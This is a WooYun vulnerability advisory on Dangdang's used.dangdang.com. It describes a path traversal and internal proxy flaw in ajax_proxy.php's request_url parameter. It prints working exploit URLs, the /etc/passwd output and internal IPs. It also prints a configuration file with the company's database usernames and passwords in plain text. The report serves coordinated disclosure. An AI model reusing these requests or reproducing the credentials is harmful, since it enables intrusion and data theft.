当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103601

漏洞标题:当当网某站点目录遍历可代理渗透内网

相关厂商:当当网

漏洞作者: lijiejie

提交时间:2015-03-25 10:55

修复时间:2015-05-09 12:16

公开时间:2015-05-09 12:16

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:14

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-25: 细节已通知厂商并且等待厂商处理中
2015-03-25: 厂商已经确认,细节仅向厂商公开
2015-04-04: 细节向核心白帽子及相关领域专家公开
2015-04-14: 细节向普通白帽子公开
2015-04-24: 细节向实习白帽子公开
2015-05-09: 细节向公众公开

简要描述:

当当网某站点目录遍历,可以读取本地文件,可以代理内网渗透,危害很大。

详细说明:

http://used.dangdang.com/ajax_proxy.php?action=research_submit&content=&email=&ques_type=3&request_url=ajax_proxy.php&sender_url=http%3A//used.dangdang.com/survey.php&type=660
参数request_url限定不严,可以读取本地文件,可以代理内网渗透

漏洞证明:

dangdang.png


http://used.dangdang.com/ajax_proxy.php?action=research_submit&content=&email=&ques_type=3&request_url=/var/www/sh/dd_inc/conf.inc&sender_url=http%3A//used.dangdang.com/survey.php&type=660

public static $user0DataBase =  array("dbtype"=>"mysql","database"=>"user0","username"=>"reader","password"=>"n0p4ssw0rd","server"=>"myuser0db.idc2");
public static $user1DataBase = array("dbtype"=>"mysql","database"=>"user1","username"=>"reader","password"=>"n0p4ssw0rd","server"=>"myuser1db.idc2");
public static $custDataBase = array("dbtype"=>"dblib","database"=>"Customer","username"=>"readuser","password"=>"password","server"=>"custdb.idc3");
public static $basePrdDataBase = array("dbtype"=>"mysql","database"=>"ProductPage","username"=>"reader","password"=>"n0p4ssw0rd","server"=>"myproddb.idc3");//原本的产品库
public static $shopDataBase = array("dbtype"=>"mysql","database"=>"sh_shop","username"=>"sh_shop_sir","password"=>"r1sp0hshs","server"=>"c2cpdb.idc2");
public static $orderDataBase = array("dbtype"=>"mysql","database"=>"sh_order","username"=>"sh_order_sir","password"=>"r1sr3dr0hs","server"=>"c2cpdb.idc2");
public static $questionDataBase = array("dbtype"=>"mysql","database"=>"sh_qa","username"=>"sh_qa_sir","password"=>"r1s4qhs","server"=>"c2cpdb.idc2");
public static $accountingDataBase = array("dbtype"=>"mysql","database"=>"sh_accounting","username"=>"sh_account_sir","password"=>"r1stnu0cc4hs","server"=>"c2cpdb.idc2");
public static $eventDataBase = array("dbtype"=>"mysql","database"=>"sh_event","username"=>"sh_event_sir","password"=>"r1stn373hs","server"=>"c2cpdb.idc2");
public static $repos0DataBase = array("dbtype"=>"mysql","database"=>"sh_repos0","username"=>"sh_repos0_sir","password"=>"r1s0s0p3rhs","server"=>"c2cprod0db.idc2");
public static $repos1DataBase = array("dbtype"=>"mysql","database"=>"sh_repos1","username"=>"sh_repos1_sir","password"=>"r1s1s0p3rhs","server"=>"c2cprod1db.idc2");
public static $product0DataBase = array("dbtype"=>"mysql","database"=>"sh_product0","username"=>"sh_product0_sir","password"=>"r1s0tcud0rphs","server"=>"c2cprod0db.idc2");
public static $product1DataBase = array("dbtype"=>"mysql","database"=>"sh_product1","username"=>"sh_product1_sir","password"=>"r1s1tcud0rphs","server"=>"c2cprod1db.idc2");
// //工单退货列表api
// public static $OrderRefundApi = "http://workflow.backoffice.dangdang.com/API/Query.aspx?query_type=0&%s";
//工单流水列表api
public static $OrderTransLogApi = "http://orderapi.idc2/backoffice/ordertranslog.ashx?orderid=%s";
//工单详情api
//public static $OrderDetailsApi = "http://orderapi.idc2/orderdetailsApi.ashx?ps=orderbtoc123&orderid=%s";
public static $OrderDetailsApi = "http://orderapi.idc2/orderdetailsApi.ashx?orderid=%s&ps=orderbtoc123&shopid=%s";


http://used.dangdang.com/ajax_proxy.php?action=research_submit&content=&email=&ques_type=3&request_url=/etc/passwd&sender_url=http%3A//used.dangdang.com/survey.php&type=660

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:104:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
checkos:x:5010:5010::/home/checkos:/bin/bash
nagios:x:5011:5011::/home/nagios:/bin/bash
zabbix:x:5012:5012::/home/zabbix:/bin/bash


192.168.248.47 secondhand24847
192.168.238.20 secondhandbo23820


CentOS release 5.4 (Final)
Kernel \r on an \m


内网渗透:

http://192.168.238.20/     跳转到http://shadm.dangdang.com/login.php
http://192.168.248.40/ Zabbix
http://192.168.248.61/ 当当内部系统登陆SSO
http://used.dangdang.com/ajax_proxy.php?action=research_submit&content=&email=&ques_type=3&request_url=http://192.168.248.77/&sender_url=http%3A//used.dangdang.com/survey.php&type=660 登陆 http://promoadm.dangdang.com/login.php
http://192.168.248.73/ 登陆 http://redisadmin.dangdang.com/login.php
http://192.168.248.37/ DDSTAT


不再深入测试。

修复方案:

添加过滤规则

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-25 12:16

厂商回复:

感谢对当当安全的支持

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-25 10:57 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    神器又升级了啊

  2. 2015-03-25 10:59 | lijiejie 认证白帽子 ( 核心白帽子 | Rank:2210 漏洞数:294 | Just for fun.)

    @xsser 没剑总的神器好用,哈哈

  3. 2015-03-25 11:08 | 炯炯虾 ( 路人 | Rank:2 漏洞数:1 | 我来自地球)

    根本没神器 @xsser

  4. 2015-03-25 11:10 | 茜茜公主 ( 普通白帽子 | Rank:2360 漏洞数:406 | 家里二宝出生,这几个月忙着把屎把尿...忒...)

    当当 当当 小小智慧树

  5. 2015-03-25 11:11 | 灰色轨迹 ( 实习白帽子 | Rank:75 漏洞数:21 | )

    @lijiejie 李姐姐

  6. 2015-03-25 20:21 | Ch4r0n ( 普通白帽子 | Rank:391 漏洞数:87 | 苦逼青年一个!~~~)

    @lijiejie 好久不见发,原来升级神器去了!~~~继续关注神器